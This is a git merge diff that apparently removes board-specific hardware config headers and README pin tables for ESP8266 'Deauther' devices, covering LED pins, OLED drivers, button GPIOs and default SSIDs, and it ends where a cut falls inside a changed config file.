Merge branch 'v2.2'
This commit is contained in:
commit
a59b009f5f
|
@ -1,29 +0,0 @@
|
|||
#ifndef config_h
|
||||
#define config_h
|
||||
|
||||
// ===== DISPLAY LIBRARY ===== //
|
||||
#include "SH1106Wire.h"
|
||||
// =========================== //
|
||||
|
||||
// ===================== LED CONFIG ==================== //
|
||||
#define NEOPIXEL_LED
|
||||
|
||||
// === Settings for RGB LED and Neopixel LED === //
|
||||
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
|
||||
|
||||
// === Settings for Neopixel LED === //
|
||||
#define LED_NEOPIXEL_NUM 12
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800
|
||||
|
||||
// ===================== DISPLAY CONFIG ==================== //
|
||||
#define USE_DISPLAY true // default display setting
|
||||
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
|
||||
// ========================================================= //
|
||||
|
||||
#endif
|
|
@ -1,17 +0,0 @@
|
|||
# DSTIKE D-duino-b-v5 with the LED Ring Shield
|
||||
|
||||
| | |
|
||||
| - | - |
|
||||
| LED Type | Neopixel (WS2812) |
|
||||
| LED Pin | GPIO 15 |
|
||||
| Number of LEDs | 12 |
|
||||
| Highlight LED | disabled |
|
||||
| Display and buttons enabled | YES |
|
||||
| Display Driver | SH1106 |
|
||||
| Display SDA | GPIO 5 (D1) |
|
||||
| Display SCL | GPIO 4 (D2) |
|
||||
| Flip Display | No |
|
||||
| Button Up |GPIO 12 |
|
||||
| Button Down | GPIO 13 |
|
||||
| Button A | GPIO 14 |
|
||||
| Button B |Disabled |
|
|
@ -1,28 +0,0 @@
|
|||
#ifndef config_h
|
||||
#define config_h
|
||||
|
||||
// ===== DISPLAY LIBRARY ===== //
|
||||
#include "SH1106Wire.h"
|
||||
// =========================== //
|
||||
|
||||
// ===================== LED CONFIG ==================== //
|
||||
#define NEOPIXEL_LED
|
||||
|
||||
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
|
||||
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800
|
||||
|
||||
// ===================== DISPLAY CONFIG ==================== //
|
||||
#define USE_DISPLAY true // default display setting
|
||||
|
||||
#define BUTTON_UP 10
|
||||
#define BUTTON_DOWN 9
|
||||
#define BUTTON_A 14
|
||||
#define BUTTON_B 12
|
||||
|
||||
#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
|
||||
// ========================================================= //
|
||||
|
||||
#endif
|
|
@ -1,17 +0,0 @@
|
|||
# DSTIKE Deauther Boy
|
||||
|
||||
| | |
|
||||
| - | - |
|
||||
| LED Type | Neopixel (WS2812) |
|
||||
| LED Pin | GPIO 15 |
|
||||
| Number of LEDs | 1 |
|
||||
| Highlight LED | disabled |
|
||||
| Display and buttons enabled | YES |
|
||||
| Display Driver | SH1106 |
|
||||
| Display SDA | GPIO 5 (D1) |
|
||||
| Display SCL | GPIO 4 (D2) |
|
||||
| Flip Display | No |
|
||||
| Button Up |GPIO 10 |
|
||||
| Button Down | GPIO 9 |
|
||||
| Button A | GPIO 14 |
|
||||
| Button B |GPIO 12 |
|
|
@ -1,82 +0,0 @@
|
|||
#ifndef config_h
|
||||
#define config_h
|
||||
|
||||
// ===== DISPLAY LIBRARY ===== //
|
||||
#include <Wire.h>
|
||||
#include <SPI.h>
|
||||
#include "SH1106Wire.h"
|
||||
#include "SSD1306Wire.h"
|
||||
#include "SH1106Spi.h"
|
||||
#include "SSD1306Spi.h"
|
||||
// =========================== //
|
||||
|
||||
// ===================== LED CONFIG ==================== //
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Uncomment the type of LED you're using
|
||||
Only one of them can be defined at a time!
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
//#define DIGITAL_LED
|
||||
//#define RGB_LED
|
||||
#define NEOPIXEL_LED
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Adjust following settings for your type of LED
|
||||
you can ignore the rest of the #define's
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
|
||||
// === Settings for Digital LED and RGB LED === //
|
||||
#define LED_ANODE false // common vcc (+)
|
||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||
#define LED_PIN_G 255 // 255 = LED disabled
|
||||
#define LED_PIN_B 2 // ESP-12 LED
|
||||
|
||||
// === Settings for RGB LED and Neopixel LED === //
|
||||
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
|
||||
|
||||
// === Settings for Neopixel LED === //
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800
|
||||
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
|
||||
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
|
||||
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
|
||||
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
|
||||
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
|
||||
|
||||
// ===================== DISPLAY CONFIG ==================== //
|
||||
#define USE_DISPLAY false // default display setting
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Adjust the pins to match your setup
|
||||
Comment out the buttons you don't use.
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
//#define BUTTON_LEFT 12
|
||||
//#define BUTTON_RIGHT 13
|
||||
//#define BUTTON_B 10
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Uncomment the type of display you're using
|
||||
Only one of them can be defined at a time!
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
0x3c = I2C address
|
||||
SDA = GPIO 5 (D1)
|
||||
SCL/SCK = GPIO 4 (D2) */
|
||||
//#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
|
||||
#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
|
||||
|
||||
/* RST = GPIO 5 (D1)
|
||||
DC = GPIO 4 (D2)
|
||||
CS = GPIO 15 (D8) or GND
|
||||
SCK/SCL = GPIO 14 (D5)
|
||||
SDA/MOSI = GPIO 13 (D7) */
|
||||
//#define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
|
||||
//#define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI
|
||||
|
||||
//#define FLIP_DIPLAY // uncomment that to flip the display vertically
|
||||
// ========================================================= //
|
||||
|
||||
#endif
|
|
@ -1,17 +0,0 @@
|
|||
# DSTIKE Deauther v3 & DSTIKE NodeMCU-07 v2
|
||||
|
||||
| | |
|
||||
| - | - |
|
||||
| LED Type | Neopixel (WS2812b) |
|
||||
| LED Pin | GPIO 15 |
|
||||
| Number of LEDs | 1 |
|
||||
| Highlight LED | disabled |
|
||||
| Display and buttons enabled | NO |
|
||||
| Display Driver | SH1106 |
|
||||
| Display SDA | GPIO 5 (D1) |
|
||||
| Display SCL | GPIO 4 (D2) |
|
||||
| Flip Display | NO |
|
||||
| Button Up |GPIO 12 |
|
||||
| Button Down | GPIO 13 |
|
||||
| Button A | GPIO 14 |
|
||||
| Button B |disabled |
|
|
@ -1,27 +0,0 @@
|
|||
#ifndef config_h
|
||||
#define config_h
|
||||
|
||||
// ===== DISPLAY LIBRARY ===== //
|
||||
#include "SSD1306Wire.h"
|
||||
// =========================== //
|
||||
|
||||
// ===================== LED CONFIG ==================== //
|
||||
#define NEOPIXEL_LED
|
||||
|
||||
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
|
||||
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800
|
||||
|
||||
// ===================== DISPLAY CONFIG ==================== //
|
||||
#define USE_DISPLAY true // default display setting
|
||||
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
|
||||
// ========================================================= //
|
||||
|
||||
#endif
|
|
@ -1,17 +0,0 @@
|
|||
# DSTIKE Deauther OLED v1.5S
|
||||
|
||||
| | |
|
||||
| - | - |
|
||||
| LED Type | Neopixel (WS2812) |
|
||||
| LED Pin | GPIO 15 |
|
||||
| Number of LEDs | 1 |
|
||||
| Highlight LED | disabled |
|
||||
| Display and buttons enabled | YES |
|
||||
| Display Driver | SSD1306 |
|
||||
| Display SDA | GPIO 5 (D1) |
|
||||
| Display SCL | GPIO 4 (D2) |
|
||||
| Flip Display | NO |
|
||||
| Button Up |GPIO 12 |
|
||||
| Button Down | GPIO 13 |
|
||||
| Button A | GPIO 14 |
|
||||
| Button B |disabled |
|
|
@ -1,25 +0,0 @@
|
|||
#ifndef config_h
|
||||
#define config_h
|
||||
|
||||
// ===== DISPLAY LIBRARY ===== //
|
||||
#include "SSD1306Wire.h"
|
||||
// =========================== //
|
||||
|
||||
// ===================== LED CONFIG ==================== //
|
||||
#define DIGITAL_LED
|
||||
#define LED_ANODE false // common vcc (+)
|
||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||
#define LED_PIN_G 255 // 255 = LED disabled
|
||||
#define LED_PIN_B 2 // ESP-12 LED
|
||||
|
||||
// ===================== DISPLAY CONFIG ==================== //
|
||||
#define USE_DISPLAY true // default display setting
|
||||
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
|
||||
// ========================================================= //
|
||||
|
||||
#endif
|
|
@ -1,18 +0,0 @@
|
|||
# DSTIKE Deauther OLED v1 - v1.5
|
||||
|
||||
| | |
|
||||
| - | - |
|
||||
| LED Type | Digital |
|
||||
| LED R | GPIO 16 |
|
||||
| LED G | disabled |
|
||||
| LED B | GPIO 2 |
|
||||
| Highlight LED | disabled |
|
||||
| Display and buttons enabled | YES |
|
||||
| Display Driver | SSD1306 |
|
||||
| Display SDA | GPIO 5 (D1) |
|
||||
| Display SCL | GPIO 4 (D2) |
|
||||
| Flip Display | NO |
|
||||
| Button Up |GPIO 12 |
|
||||
| Button Down | GPIO 13 |
|
||||
| Button A | GPIO 14 |
|
||||
| Button B |disabled |
|
|
@ -1,26 +0,0 @@
|
|||
#ifndef config_h
|
||||
#define config_h
|
||||
|
||||
// ===== DISPLAY LIBRARY ===== //
|
||||
#include "SH1106Wire.h"
|
||||
// =========================== //
|
||||
|
||||
// ===================== LED CONFIG ==================== //
|
||||
#define DIGITAL_LED
|
||||
|
||||
#define LED_ANODE false // common vcc (+)
|
||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||
#define LED_PIN_G 255 // 255 = LED disabled
|
||||
#define LED_PIN_B 2 // ESP-12 LED
|
||||
|
||||
// ===================== DISPLAY CONFIG ==================== //
|
||||
#define USE_DISPLAY true // default display setting
|
||||
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
|
||||
// ========================================================= //
|
||||
|
||||
#endif
|
|
@ -1,18 +0,0 @@
|
|||
# DSTIKE Deauther OLED v2 - v3
|
||||
|
||||
| | |
|
||||
| - | - |
|
||||
| LED Type | Digital |
|
||||
| LED R | GPIO 16 |
|
||||
| LED G | disabled |
|
||||
| LED B | GPIO 2 |
|
||||
| Highlight LED | disabled |
|
||||
| Display and buttons enabled | YES |
|
||||
| Display Driver | SH1106 |
|
||||
| Display SDA | GPIO 5 (D1) |
|
||||
| Display SCL | GPIO 4 (D2) |
|
||||
| Flip Display | NO |
|
||||
| Button Up |GPIO 12 |
|
||||
| Button Down | GPIO 13 |
|
||||
| Button A | GPIO 14 |
|
||||
| Button B |disabled |
|
|
@ -1,26 +0,0 @@
|
|||
#ifndef config_h
|
||||
#define config_h
|
||||
|
||||
// ===== DISPLAY LIBRARY ===== //
|
||||
#include "SH1106Wire.h"
|
||||
// =========================== //
|
||||
|
||||
// ===================== LED CONFIG ==================== //
|
||||
#define NEOPIXEL_LED
|
||||
|
||||
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
|
||||
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800
|
||||
|
||||
// ===================== DISPLAY CONFIG ==================== //
|
||||
#define USE_DISPLAY true // default display setting
|
||||
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
|
||||
|
||||
#endif
|
|
@ -1,17 +0,0 @@
|
|||
# DSTIKE Deauther OLED v3.5, v4 & DSTIKE Deauth Monster
|
||||
|
||||
| | |
|
||||
| - | - |
|
||||
| LED Type | Neopixel (WS2812) |
|
||||
| LED Pin | GPIO 15 |
|
||||
| Number of LEDs | 1 |
|
||||
| Highlight LED | disabled |
|
||||
| Display and buttons enabled | YES |
|
||||
| Display Driver | SH1106 |
|
||||
| Display SDA | GPIO 5 (D1) |
|
||||
| Display SCL | GPIO 4 (D2) |
|
||||
| Flip Display | No |
|
||||
| Button Up |GPIO 12 |
|
||||
| Button Down | GPIO 13 |
|
||||
| Button A | GPIO 14 |
|
||||
| Button B |disabled |
|
|
@ -1,25 +0,0 @@
|
|||
#ifndef config_h
|
||||
#define config_h
|
||||
|
||||
// ===== DISPLAY LIBRARY ===== //
|
||||
#include "SSD1306Wire.h"
|
||||
// =========================== //
|
||||
|
||||
// ===================== LED CONFIG ==================== //
|
||||
#define NEOPIXEL_LED
|
||||
|
||||
// === Settings for RGB LED and Neopixel LED === //
|
||||
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
|
||||
|
||||
// === Settings for Neopixel LED === //
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 4
|
||||
#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800
|
||||
|
||||
// ===================== DISPLAY CONFIG ==================== //
|
||||
#define USE_DISPLAY false // default display setting
|
||||
|
||||
#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
|
||||
// ========================================================= //
|
||||
|
||||
#endif
|
|
@ -1,17 +0,0 @@
|
|||
# DSTIKE USB Deauther v2
|
||||
|
||||
| | |
|
||||
| - | - |
|
||||
| LED Type | Neopixel (WS2812b) |
|
||||
| LED Pin | GPIO 4 |
|
||||
| Number of LEDs | 1 |
|
||||
| Highlight LED | disabled |
|
||||
| Display and buttons enabled | NO |
|
||||
| Display Driver | SH1106 |
|
||||
| Display SDA | GPIO 5 (D1) |
|
||||
| Display SCL | GPIO 4 (D2) |
|
||||
| Flip Display | NO |
|
||||
| Button Up | disabled |
|
||||
| Button Down | disabled |
|
||||
| Button A | disabled |
|
||||
| Button B | disabled |
|
|
@ -1,28 +0,0 @@
|
|||
#ifndef config_h
|
||||
#define config_h
|
||||
|
||||
// ===== DISPLAY LIBRARY ===== //
|
||||
#include "SH1106Wire.h"
|
||||
// =========================== //
|
||||
|
||||
// ===================== LED CONFIG ==================== //
|
||||
#define NEOPIXEL_LED
|
||||
#define HIGHLIGHT_LED 16
|
||||
|
||||
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
|
||||
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
#define LED_NEOPIXEL_MODE NEO_GRBW + NEO_KHZ800
|
||||
|
||||
// ===================== DISPLAY CONFIG ==================== //
|
||||
#define USE_DISPLAY true // default display setting
|
||||
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
|
||||
// ========================================================= //
|
||||
|
||||
#endif
|
|
@ -1,17 +0,0 @@
|
|||
# DSTIKE Deauther Wristband and Deauther Mini
|
||||
|
||||
| | |
|
||||
| - | - |
|
||||
| LED Type | Neopixel (WS2812) |
|
||||
| LED Pin | GPIO 15 |
|
||||
| Number of LEDs | 1 |
|
||||
| Highlight LED | 16 |
|
||||
| Display and buttons enabled | YES |
|
||||
| Display Driver | SH1106 |
|
||||
| Display SDA | GPIO 5 (D1) |
|
||||
| Display SCL | GPIO 4 (D2) |
|
||||
| Flip Display | No |
|
||||
| Button Up |GPIO 12 |
|
||||
| Button Down | GPIO 13 |
|
||||
| Button A | GPIO 14 |
|
||||
| Button B |disabled |
|
|
@ -1,83 +0,0 @@
|
|||
#ifndef config_h
|
||||
#define config_h
|
||||
|
||||
// ===== DISPLAY LIBRARY ===== //
|
||||
#include <Wire.h>
|
||||
#include <SPI.h>
|
||||
#include "SH1106Wire.h"
|
||||
#include "SSD1306Wire.h"
|
||||
#include "SH1106Spi.h"
|
||||
#include "SSD1306Spi.h"
|
||||
// =========================== //
|
||||
|
||||
//#define DEFAULT_SSID "pwned"
|
||||
//#define HIGHLIGHT_LED 16
|
||||
|
||||
// ===================== LED CONFIG ==================== //
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Uncomment the type of LED you're using
|
||||
Only one of them can be defined at a time!
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
#define DIGITAL_LED
|
||||
//#define RGB_LED
|
||||
//#define NEOPIXEL_LED
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Adjust following settings for your type of LED
|
||||
you can ignore the rest of the #define's
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
|
||||
// === Settings for Digital LED and RGB LED === //
|
||||
#define LED_ANODE false // common vcc (+)
|
||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||
#define LED_PIN_G 255 // 255 = LED disabled
|
||||
#define LED_PIN_B 2 // ESP-12 LED
|
||||
|
||||
// === Settings for RGB LED and Neopixel LED === //
|
||||
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
|
||||
|
||||
// === Settings for Neopixel LED === //
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800
|
||||
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
|
||||
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
|
||||
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
|
||||
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
|
||||
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
|
||||
|
||||
// ===================== DISPLAY CONFIG ==================== //
|
||||
#define USE_DISPLAY false // default display setting
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Adjust the pins to match your setup
|
||||
Comment out the buttons you don't use.
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
#define BUTTON_UP 14
|
||||
#define BUTTON_DOWN 12
|
||||
#define BUTTON_A 13
|
||||
|
||||
//#define BUTTON_LEFT 12
|
||||
//#define BUTTON_RIGHT 13
|
||||
//#define BUTTON_B 10
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Uncomment the type of display you're using
|
||||
Only one of them can be defined at a time!
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
*/
|
||||
#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
|
||||
//#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
|
||||
|
||||
/* RST = GPIO 5 (D1)
|
||||
DC = GPIO 4 (D2)
|
||||
CS = GPIO 15 (D8) or GND
|
||||
SCK/SCL = GPIO 14 (D5)
|
||||
SDA/MOSI = GPIO 13 (D7) */
|
||||
//#define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
|
||||
//#define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI
|
||||
|
||||
//#define FLIP_DIPLAY // uncomment that to flip the display vertically
|
||||
// ========================================================= //
|
||||
|
||||
#endif
|
|
@ -1,20 +0,0 @@
|
|||
# Default Config
|
||||
Default configuration for all boards without using a display or RGB LED.
|
||||
The display can be enabled over the settings.
|
||||
|
||||
| | |
|
||||
| - | - |
|
||||
| LED Type | Digital |
|
||||
| LED R | GPIO 2 |
|
||||
| LED G | disabled |
|
||||
| LED B | GPIO 16 |
|
||||
| Highlight LED | disabled |
|
||||
| Display and buttons enabled | NO |
|
||||
| Display Driver | SSD1306 |
|
||||
| Display SDA | GPIO 5 (D1) |
|
||||
| Display SCL | GPIO 4 (D2) |
|
||||
| Flip Display | NO |
|
||||
| Button Up |GPIO 14 (D5) |
|
||||
| Button Down | GPIO 12 (D6) |
|
||||
| Button A | GPIO 13 (D7) |
|
||||
| Button B |disabled |
|
|
@ -1,29 +0,0 @@
|
|||
#ifndef config_h
|
||||
#define config_h
|
||||
|
||||
// ===== DISPLAY LIBRARY ===== //
|
||||
#include "SSD1306Wire.h"
|
||||
// =========================== //
|
||||
|
||||
#define DEFAULT_SSID "Dickbutt " + bytesToStr(&(settings.getMacAP()[3]), 3)
|
||||
|
||||
// ===================== LED CONFIG ==================== //
|
||||
#define DIGITAL_LED
|
||||
|
||||
#define LED_ANODE false // common vcc (+)
|
||||
#define LED_PIN_R 255 // NodeMCU on-board LED
|
||||
#define LED_PIN_G 255 // 255 = LED disabled
|
||||
#define LED_PIN_B 2 // ESP-12 LED
|
||||
|
||||
// ===================== DISPLAY CONFIG ==================== //
|
||||
#define USE_DISPLAY false // default display setting
|
||||
|
||||
#define BUTTON_UP 14
|
||||
#define BUTTON_DOWN 12
|
||||
#define BUTTON_A 13
|
||||
|
||||
|
||||
#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
|
||||
// ========================================================= //
|
||||
|
||||
#endif
|
|
@ -1,22 +0,0 @@
|
|||
# MrRobotBadge Dickbutt Shitty Addon
|
||||
|
||||
-> https://twitter.com/MrRobotBadge
|
||||
|
||||
Has a default SSID "Dickbutt 00:11:22" (00:11:22 = last 3 bytes of the MAC address)
|
||||
|
||||
| | |
|
||||
| - | - |
|
||||
| LED Type | Digital |
|
||||
| LED R | disabled |
|
||||
| LED G | disabled |
|
||||
| LED B | 2 |
|
||||
| Highlight LED | disabled |
|
||||
| Display and buttons enabled | NO |
|
||||
| Display Driver | SSD1306 |
|
||||
| Display SDA | GPIO 5 (D1) |
|
||||
| Display SCL | GPIO 4 (D2) |
|
||||
| Flip Display | NO |
|
||||
| Button Up |GPIO 14 (D5) |
|
||||
| Button Down | GPIO 12 (D6) |
|
||||
| Button A | GPIO 13 (D7) |
|
||||
| Button B |disabled |
|
|
@ -1,26 +0,0 @@
|
|||
# Config Files
|
||||
|
||||
Here you find a bunch of modified config files for different boards.
|
||||
The default config should be fine for all boards that don't have a display or a RGB LED (like the NodeMCU).
|
||||
|
||||
Copy the `A_config.h` file and paste it in the Arduino sektch and replace the default config file.
|
||||
|
||||
- [Default Config (NodeMCU, Wemos d1 mini, ...)](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/Default/A_config.h)
|
||||
|
||||
- DSTIKE Deauther (without OLED)
|
||||
- [DSTIKE Deauther v1, v2, v3](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/Default/A_config.h)
|
||||
- [DSTIKE Deauther v3.5](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_Deauther_v3.5_and_NodeMCU-07_v2/A_config.h)
|
||||
- DSTIKE Deauther OLED
|
||||
- [DSTIKE Deauther OLED v1, v1.5](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_OLED_v1_v1.5/A_config.h)
|
||||
- [DSTIKE Deauther OLED v1.5S (with RGB)](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_OLED_v1.5S/A_config.h)
|
||||
- [DSTIKE Deauther OLED v2, v2.5, v3](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_OLED_v2_v2.5_v3/A_config.h)
|
||||
- [DSTIKE Deauther OLED v3.5, v4](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_OLED_v3.5_v4_Monster/A_config.h)
|
||||
- [DSTIKE Deauther OLED Mini](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_Wristband_Mini/A_config.h)
|
||||
- [DSTIKE Deauther Wristband](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_Wristband_Mini/A_config.h)
|
||||
- [DSTIKE Deauther Monster](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_OLED_v3.5_v4_Monster/A_config.h)
|
||||
- [DSTIKE Deauther Boy](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_Deauther_Boy/A_config.h)
|
||||
- [DSTIKE NodeMCU-07 v1](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/Default/A_config.h)
|
||||
- [DSTIKE NodeMCU-07 v2](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_Deauther_v3.5_and_NodeMCU-07_v2/A_config.h)
|
||||
- [DSTIKE USB Deauther v1](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/Default/A_config.h)
|
||||
- [DSTIKE USB Deauther v2 (with RGB)](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_USB_Deauther_v2/A_config.h)
|
||||
- [DSTIKE D-duino with LED Ring Shield](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_D-duino_with_LED_Ring_Shield/A_config.h)
|
|
@ -1,83 +1,554 @@
|
|||
#ifndef config_h
|
||||
#define config_h
|
||||
|
||||
// ===== DISPLAY LIBRARY ===== //
|
||||
#include <Wire.h>
|
||||
#include <SPI.h>
|
||||
#include "SH1106Wire.h"
|
||||
#include "SSD1306Wire.h"
|
||||
#include "SH1106Spi.h"
|
||||
#include "SSD1306Spi.h"
|
||||
// =========================== //
|
||||
|
||||
//#define DEFAULT_SSID "pwned"
|
||||
//#define HIGHLIGHT_LED 16
|
||||
|
||||
// ===================== LED CONFIG ==================== //
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Uncomment the type of LED you're using
|
||||
Only one of them can be defined at a time!
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
#define DIGITAL_LED
|
||||
//#define RGB_LED
|
||||
//#define NEOPIXEL_LED
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Adjust following settings for your type of LED
|
||||
you can ignore the rest of the #define's
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
|
||||
// === Settings for Digital LED and RGB LED === //
|
||||
#define LED_ANODE false // common vcc (+)
|
||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||
#define LED_PIN_G 255 // 255 = LED disabled
|
||||
#define LED_PIN_B 2 // ESP-12 LED
|
||||
|
||||
// === Settings for RGB LED and Neopixel LED === //
|
||||
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
|
||||
|
||||
// === Settings for Neopixel LED === //
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800
|
||||
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
|
||||
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
|
||||
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
|
||||
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
|
||||
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
|
||||
|
||||
// ===================== DISPLAY CONFIG ==================== //
|
||||
#define USE_DISPLAY false // default display setting
|
||||
|
||||
